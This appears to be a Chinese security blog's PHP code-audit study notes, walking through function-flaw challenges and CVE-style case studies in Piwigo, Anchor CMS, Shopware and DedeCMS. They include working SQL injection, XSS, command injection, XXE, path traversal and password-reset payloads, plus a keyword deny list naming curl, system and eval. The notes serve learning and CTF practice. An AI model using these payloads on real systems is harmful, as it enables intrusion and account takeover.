<h3>Turkey Baster</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class RealSecureLoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this-&gt;em = DoctrineManager::getEntityManager();
    $this-&gt;user = $user;
    $this-&gt;password = $password;
  }

  public function isValid() {
    $pass = md5($this-&gt;password, true);
    $user = $this-&gt;sanitizeInput($this-&gt;user);

    $queryBuilder = $this-&gt;em-&gt;createQueryBuilder()
      -&gt;select("COUNT(p)")
      -&gt;from("User", "u")
      -&gt;where("password = '$pass' AND user = '$user'");
    $query = $queryBuilder-&gt;getQuery();
    return boolval($query-&gt;getSingleScalarResult());
  }

  public function sanitizeInput($input) {
    return addslashes($input);
  }

  $c = new RealSecureLoginManager(
  $_POST['user'],
  $_POST['passwd']
);
if (!$auth-&gt;isValid()) {
  exit;
}
</code></pre>
<ul>
<li>md5(计算字符串的 MD5 散列值)</li>
</ul>
<pre><code class="language-php line-numbers">string md5 ( string $str [, bool $raw_output = false ] )
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><em>auth新建了一个RealSecureLoginManager对象，传进去POST的user和passwd。在md5方法中，如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。</em></p>
<ul>
<li>fuzz</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514111159.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-SQL line-numbers">user= OR 1=1#&amp;passwd=128
</code></pre>
<ul>
<li>SQL</li>
</ul>
<pre><code class="language-SQL line-numbers">select count(p) from user s where password='v�a�n���l���q��\' and user=' OR 1=1#'
</code></pre>
<h3>实例分析</h3>
<ul>
<li>题目地址</li>
</ul>
<pre><code class="line-numbers">http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
</code></pre>
<h3>分析</h3>
<ul>
<li>查看源代码</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514111818.png" alt="" /></p>
<ul>
<li>password</li>
</ul>
<pre><code class="language-php line-numbers">md5($password,true)
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">password=ffifdyop或者129581926211651571912466741651878684928
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514112614.png" alt="" /></p>
<h2>Tips整理</h2>
<ul>
<li>in_array</li>
</ul>
<pre><code class="line-numbers">第三个参数未设置为true,可利用弱类型比较绕过
</code></pre>
<ul>
<li>filter_var（url过滤）</li>
</ul>
<pre><code class="line-numbers">未对协议进行校验，可利用xxx://绕过
</code></pre>
<ul>
<li>class_exists</li>
</ul>
<pre><code class="line-numbers">当存在__autoload函数，会自动调用，如果类名可控，可造成危害，如果参数也可控，可利用内部函数进行攻击。
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="line-numbers">strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0
</code></pre>
<ul>
<li>filter_var (FILTER_VALIDATE_EMAIL)</li>
</ul>
<pre><code class="line-numbers">filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellarg与escapeshellcmd</li>
</ul>
<pre><code class="line-numbers">escapeshellarg与escapeshellcmd配合使用会存在绕过
</code></pre>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量
</code></pre>
<ul>
<li>preg_replace</li>
</ul>
<pre><code class="line-numbers">$pattern 存在 /e 模式修正符，允许代码执行
/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<ul>
<li>readfile</li>
</ul>
<pre><code class="line-numbers">可利用 ../http/../../ 跳过目录（如检测关键字https是否存在）
</code></pre>
<ul>
<li>截断</li>
</ul>
<pre><code class="line-numbers">%00 遇到遇到函数过滤会成为\0
</code></pre>
<ul>
<li>反序列化</li>
</ul>
<p><a class="wp-editor-md-post-content-link" href="https://syst1m.com/post/php-deserialization/">PHP 反序列化漏洞学习</a></p>
<ul>
<li>htmlentities</li>
</ul>
<pre><code class="line-numbers">将字符转换为 HTML 转义字符
</code></pre>
<p><em>ENT_COMPAT（默认值）：只转换双引号。<br />
ENT_QUOTES：两种引号都转换。<br />
ENT_NOQUOTES：两种引号都不转换。</em></p>
<ul>
<li>$_SERVER[&#8216;REQUEST_URI&#8217;]</li>
</ul>
<pre><code class="line-numbers">获取的参数是不会将参数中的特殊符号进行转换
</code></pre>
<ul>
<li>HPP</li>
</ul>
<pre><code class="line-numbers">id=1&amp;id=2 只会接收第二个参数
</code></pre>
<ul>
<li>md5(计算字符串的 MD5 散列值)</li>
</ul>
<pre><code class="line-numbers">string md5 ( string $str [, bool $raw_output = false ] )
</code></pre>
<p><em>在md5方法中，如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。</em></p>
<ul>
<li>eregi截断漏洞</li>
</ul>
<p><em>ereg可用%00截断,要求php&lt;5.3.4</em></p>
<pre><code class="line-numbers">ereg编码%00时发生截断,不会检查%00后面的字符(%00算作1个字符)
</code></pre>
<ul>
<li>ssrf</li>
</ul>
<p><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf"> us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>php代码审计学习函数缺陷（1）</title>
		<link>/code/1575.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Wed, 06 May 2020 04:45:00 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[教程分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1575</guid>

					<description><![CDATA[in_array函数缺陷 Wish List Code class Challenge { const UPLOAD_DIRECTORY = './solutions/'; pri...]]></description>
										<content:encoded><![CDATA[<h2>in_array函数缺陷</h2>
<h3>Wish List</h3>
<ul>
<li>Code</li>
</ul>
<pre><code class="">class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this-&gt;file = $file;
    $this-&gt;whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this-&gt;file['name'], $this-&gt;whitelist)) {
      move_uploaded_file(
        $this-&gt;file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this-&gt;file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);
</code></pre>
<ul>
<li>代码理解</li>
</ul>
<p><strong>代码为一个文件上传的代码，如果文件名存在于1-24中，则上传文件</strong></p>
<ul>
<li>in_array函数</li>
</ul>
<pre><code class="">in_array
检查数组中是否存在某个值
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>php弱类型比较时，6php会转换为6，6在1-24中间，所以可以进行上传</strong></p>
<h3>piwigo2.7.1实例分析</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308143432.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>于picture.php:332中</li>
</ul>
<pre><code class="">case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }
</code></pre>
<p><strong>当case为rate时，将变量rate和变量image_id传入functions_rate.inc.php文件中的rate_picture函数</strong></p>
<ul>
<li>include/functions_rate.inc.php:38</li>
</ul>
<pre><code class="">or !in_array($rate, $conf['rate_items']))
</code></pre>
<p><strong>查找变量rate是否存在于$conf[&#8216;rate_items&#8217;]当中</strong></p>
<pre><code class="">$conf['rate_items']
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200308145619.png" alt="" /></p>
<ul>
<li>直接将rate进行了拼接</li>
</ul>
<pre><code class="">$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'''.$anonymous_id.'','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'''.$anonymous_id.'','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
</code></pre>
<p><strong>只要rate为array(0,1,2,3,4,5)便可以进行绕过，而in_array第三位未设置为true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 
</code></pre>
<ul>
<li>sqlmap</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308174418.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308181630.png" alt="" /></p>
<ul>
<li>stop_hack函数</li>
</ul>
<pre><code class="">function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
</code></pre>
<p><strong>stop_hack用来过滤一些危险函数</strong></p>
<ul>
<li>注入</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308182616.png" alt="" /></p>
<p><strong>获取get的ID，通过stop_hack进行过滤并拼接到sql语句中进行查询</strong></p>
<ul>
<li>报错注入payload</li>
</ul>
<pre><code class="">and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200308183821.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="">https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.md
https://xz.aliyun.com/t/2160
</code></pre>
<h2>filter_var函数缺陷</h2>
<h3>Twig</h3>
<pre><code class="">// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '&lt;img ' .
      'src="https://loremflickr.com/320/240"&gt;' .
      '&lt;a href="{{link|escape}}"&gt;Next slide &amp;raquo;&lt;/a&gt;';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new TwigLoaderArrayLoader([
      'index.html' =&gt; $indexTemplate
    ]);
    $this-&gt;twig = new TwigEnvironment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this-&gt;twig-&gt;render(
      'index.html',
      ['link' =&gt; $this-&gt;getNexSlideUrl()]
    );
  }
}

(new Template())-&gt;render();
</code></pre>
<p><strong>使用escape和filter_var进行过滤</strong></p>
<ul>
<li>escape</li>
</ul>
<p><strong>默认是使用了htmlspecialchars方法进行过滤，</strong></p>
<ul>
<li>filter_var</li>
</ul>
<pre><code class="">使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
</code></pre>
<ul>
<li>htmlspecialchars转义</li>
</ul>
<pre><code class="">&amp; (&amp; 符号)  ===============  &amp;amp;
" (双引号)  ===============  &amp;quot;
' (单引号)  ===============  &amp;apos;
&lt; (小于号)  ===============  &amp;lt;
&gt; (大于号)  ===============  &amp;gt;
</code></pre>
<p><strong>默认只过滤双引号，不过滤单引号，只有设置了：quotestyle 选项为ENT_QUOTES才会过滤单引号</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">javascript://comment%250aalert(1)
</code></pre>
<h3>anchor-cms</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309141247.png" alt="" /></p>
<h4>源码分析</h4>
<ul>
<li>themes/default/404.php:9</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309150252.png" alt="" /></p>
<ul>
<li>anchor/functions/helpers.php:34 current_url()函数</li>
</ul>
<pre><code class="">function current_url() {
    return Uri::current();
}
</code></pre>
<ul>
<li>system/uri.php:84</li>
</ul>
<pre><code class="">public static function current() {
        if(is_null(static::$current)) static::$current = static::detect();
        return static::$current;
    }
</code></pre>
<ul>
<li>detect 方法</li>
</ul>
<pre><code class="">public static function detect() {
        // create a server object from global
        $server = new Server($_SERVER);

        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

        foreach($try as $method) {

            // make sure the server var exists and is not empty
            if($server-&gt;has($method) and $uri = $server-&gt;get($method)) {

                // apply a string filter and make sure we still have somthing left
                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
                }
            }
        }

        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
    }
</code></pre>
<p><strong>关键代码</strong></p>
<pre><code class="">if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
</code></pre>
<ul>
<li>system/uri.php:126</li>
</ul>
<pre><code class="">    public static function format($uri, $server) {
        // Remove all characters except letters,
        // digits and $-_.+!*'(),{}|\^~[]`&lt;&gt;#%";/?:@&amp;=.
        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

        // remove script path/name
        $uri = static::remove_script_name($uri, $server);

        // remove the relative uri
        $uri = static::remove_relative_uri($uri);

        // return argument if not empty or return a single slash
        return trim($uri, '/') ?: '/';
    }
</code></pre>
<p><strong>没有对xss进行过滤</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200309153333.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309155130.png" alt="" /></p>
<ul>
<li>flag.php</li>
</ul>
<pre><code class="">&lt;?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?&gt;
</code></pre>
<ul>
<li>index.php</li>
</ul>
<pre><code class="">&lt;?php 
$url = $_GET['url']; // 获取url

if(isset($url) &amp;&amp; filter_var($url, FILTER_VALIDATE_URL)){  //过滤url
    $site_info = parse_url($url);

    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾
        exec('curl "'.$site_info['host'].'"', $result);
        echo "&lt;center&gt;&lt;h1&gt;You have curl {$site_info['host']} successfully!&lt;/h1&gt;&lt;/center&gt;
              &lt;center&gt;&lt;textarea rows='20' cols='90'&gt;";
        echo implode(' ', $result);
    } //命令执行

    else{
        die("&lt;center&gt;&lt;h1&gt;Error: Host not allowed&lt;/h1&gt;&lt;/center&gt;");
    }

}
else{
    echo "&lt;center&gt;&lt;h1&gt;Just curl sec-redclub.com!&lt;/h1&gt;&lt;/center&gt;&lt;br&gt;
          &lt;center&gt;&lt;h3&gt;For example:?url=http://sec-redclub.com&lt;/h3&gt;&lt;/center&gt;";
}
?&gt;
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="">syst1m://"|ls;"sec-redclub.com
syst1m://"|cat&lt;f1agi3hEre.php;"sec-redclub.com
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200309162636.png" alt="" /></p>
<h2>实例化任意对象漏洞</h2>
<h3>Snow Flake</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">function __autoload($className) { //自动加载
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];  //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller-&gt;render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this-&gt;template = $template;
    $this-&gt;variables = $variables;
  }

  public function render() {
    if ($this-&gt;variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
</code></pre>
<p><strong>如果存在如果程序存在 __autoload函数，class_exists函数就会自动调用方法</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">/?c=../../../../etc/passwd
</code></pre>
<h3>Shopware 5.3.3 （XXE）</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310141611.png" alt="" /></p>
<h4>代码分析</h4>
<ul>
<li>漏洞触发点</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310142234.png" alt="" /></p>
<ul>
<li>打断点</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310143309.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:52</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310143748.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:63</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310144659.png" alt="" /></p>
<p><strong>使用$this->Request()->getParam(&#8216;sort&#8217;)获取sort，然后进入RepositoryInterface类的unserialize方法</strong></p>
<ul>
<li>engine/Shopware/Components/LogawareReflectionHelper.php:56</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310145112.png" alt="" /></p>
<p><strong>调用的是LogawareReflectionHelper类的unserialize方法</strong></p>
<p><strong>$serialized为传入的sort变量，遍历取出className，传入createInstanceFromNamedArguments方法</strong></p>
<ul>
<li>engine/Shopware/Components/ReflectionHelper.php:40</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310145747.png" alt="" /></p>
<p><strong>新建一个反射类，并传入参数，类名与参数都为sort中的，而sort可控</strong></p>
<ul>
<li>发送到burp</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310153139.png" alt="" /></p>
<ul>
<li>修改payload</li>
</ul>
<pre><code class="">/test/backend/ProductStream/loadPreview?_dc=1583825465339&amp;sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&amp;conditions={}&amp;shopId=1&amp;currencyId=1&amp;customerGroupKey=EK&amp;page=1&amp;start=0&amp;limit=25
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310160323.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="">https://www.php.net/manual/zh/simplexmlelement.construct.php
</code></pre>
<h3>CTF</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">&lt;?php

class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=&gt;$value)
        echo $key.'=&gt;'.$value.'&lt;br&gt;';
}
</code></pre>
<p><strong>当class_exists时，调用__autoload方法，但是__autoload方法不存在，新建了一个spl_autoload_register方法，类似__autoload方法</strong></p>
<ul>
<li>列出文件（GlobIterator类）</li>
</ul>
<pre><code class="">public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
</code></pre>
<p><strong>第一个参数为要搜索的文件名，第二个参数为第二个参数为选择文件的哪个信息作为键名</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">http://127.0.0.1:8888/index.php?name=GlobIterator&amp;param=./*.php&amp;param2=0
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200310165128.png" alt="" /></p>
<ul>
<li>读取flag</li>
</ul>
<pre><code class="">http://127.0.0.1:8888/index.php?name=SimpleXMLElement&amp;param=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E&amp;param2=2
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200310165415.png" alt="" /><br />
&#8211; 参考</p>
<pre><code class="">https://www.php.net/manual/en/function.spl-autoload-register.php
</code></pre>
<h2>strpos使用不当引发漏洞</h2>
<h3>False Beard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">class Login {
  public function __construct($user, $pass) {
    $this-&gt;loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if (
      (!strpos($user, '&lt;') || !strpos($user, '&gt;')) &amp;&amp;
      (!strpos($pass, '&lt;') || !strpos($pass, '&gt;'))
    ) {
      $format = '&lt;?xml version="1.0"?&gt;' .
        '&lt;user v="%s"/&gt;&lt;pass v="%s"/&gt;';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this-&gt;login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="">主要是用来查找字符在字符串中首次出现的位置。
</code></pre>
<p><strong>查找代码中是否含有&lt;与>的特殊符号，strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0，0的取反为1，就可以注入xml进行注入了</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">user=&lt;"&gt;&lt;injected-tag property="&amp;pass=&lt;injected-tag&gt;
</code></pre>
<h3>DeDecms V5.7SP2任意密码重置漏洞</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200311133852.png" alt="" /></p>
<ul>
<li>开启会员登陆并且注册两个会员</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200311140110.png" alt="" /></p>
<ul>
<li>member/resetpassword.php:75 漏洞触发点</li>
</ul>
<pre><code class="">else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db-&gt;GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起，您的安全问题或答案回答错误","-1");
        exit();
    }

}
</code></pre>
<p><strong>将传入的mid进行查询，查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息，然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候，进入sn函数</strong></p>
<ul>
<li>查看数据表</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312132918.png" alt="" /></p>
<p><strong>当没设置问题答案时，safequestion为0，safeanswer为null，语句变为了</strong></p>
<pre><code class="">if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)

$row['safequestion'] == 0 
$row['safeanswer'] == null

if ('0' == ''&amp; null == ''){
    sn()
}

 if(false &amp;&amp; true)
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312134303.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:150</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312135317.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:73</li>
</ul>
<p><strong>进入newmail函数</strong></p>
<p><img src="/wp-content/uploads/2020/05/20200312140852.png" alt="" /></p>
<p><strong>如果$send == &#8216;N&#8217;则发送重置邮件</strong></p>
<pre><code class="">sendmail($mailto,$mailtitle,$mailbody,$headers);
</code></pre>
<pre><code class="">/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval
</code></pre>
<ul>
<li>member/resetpassword.php:96</li>
</ul>
<p><strong>如果$id为空则退出，如果row不为空，则执行</strong></p>
<pre><code class="">    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim &gt; $row['mailtime'])
        {
            $db-&gt;executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起，临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
</code></pre>
<ul>
<li>member/templets/resetpassword2.htm:95</li>
</ul>
<pre><code class="">&lt;input type="hidden" name="dopost" value="getpasswd"&gt;
&lt;input type="hidden" name="setp" value="2"&gt;
&lt;input type="hidden" name="id" value="&lt;?php echo $id;?&gt;" /&gt;
</code></pre>
<p><strong>将setp的属性设置为2</strong></p>
<ul>
<li>member/resetpassword.php:123</li>
</ul>
<pre><code class="">elseif($setp == 2) 
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db-&gt;executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db-&gt;executenonequery($sql))
                    {
                        showmsg('更改密码成功，请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起，新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起，临时密码错误', '-1');
        exit;
    }
</code></pre>
<p><strong>如果key等于$row[&#8216;pwd&#8217;]，则重置密码成功</strong></p>
<h4>漏洞验证</h4>
<ul>
<li>访问重置密码链接获取key</li>
</ul>
<pre><code class="">member/resetpassword.php?dopost=safequestion&amp;safequestion=0.0&amp;safeanswer=&amp;id=3
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312150736.png" alt="" /></p>
<ul>
<li>重置密码</li>
</ul>
<pre><code class="">member/resetpassword.php?dopost=getpasswd&amp;id=3&amp;key=VeRkLvEU
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312150922.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312160331.png" alt="" /></p>
<ul>
<li>buy.php</li>
</ul>
<pre><code class="">&lt;script type="text/javascript" src="js/buy.js"&gt;&lt;/script&gt;
</code></pre>
<ul>
<li>bug.js</li>
</ul>
<pre><code class="">function buy(){
    $('#wait').show();
    $('#result').hide();
    var input = $('#numbers')[0];
    if(input.validity.valid){
        var numbers = input.value;
        $.ajax({
          method: "POST",
          url: "api.php",
          dataType: "json",
          contentType: "application/json", 
          data: JSON.stringify({ action: "buy", numbers: numbers })
        }).done(function(resp){
            if(resp.status == 'ok'){
                show_result(resp);
            } else {
                alert(resp.msg);
            }
        })
    } else {
        alert('invalid');
    }
    $('#wait').hide();
}
</code></pre>
<p><strong>将用户提交的数字传入到api.php的buy函数</strong></p>
<ul>
<li>api.php</li>
</ul>
<pre><code class="">    for($i=0; $i&lt;7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
</code></pre>
<p><strong>由于是==，可进行弱类型比较，传入7个true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">[true,true,true,true,true,true,true]
</code></pre>
<ul>
<li>购买flag</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312171526.png" alt="" /></p>
<h2>escapeshellarg与escapeshellcmd使用不当</h2>
<p><strong>escapeshellcmd: 除去字串中的特殊符号</strong><br />
<strong>escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数</strong></p>
<h3>postcard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      return '';
    }

    return escapeshellarg($email);
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = 'none@ripstech.com';
    } else {
      $data['to'] = $this-&gt;sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = 'none@ripstech.com';
    } else {
      $data['from'] = $this-&gt;sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);
  }
}

$mailer = new Mailer();
$mailer-&gt;send($_POST);
</code></pre>
<p><strong>新建一个MAil类进行邮件发送</strong></p>
<ul>
<li>Php内置函数mail</li>
</ul>
<pre><code class="">bool mail (
    string $to , 接收人
    string $subject , 邮件标题
    string $message [, 征文
    string $additional_headers [, 额外头部
    string $additional_parameters ]] 额外参数
)
</code></pre>
<ul>
<li>Linux中的额外参数</li>
</ul>
<pre><code class="">-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email
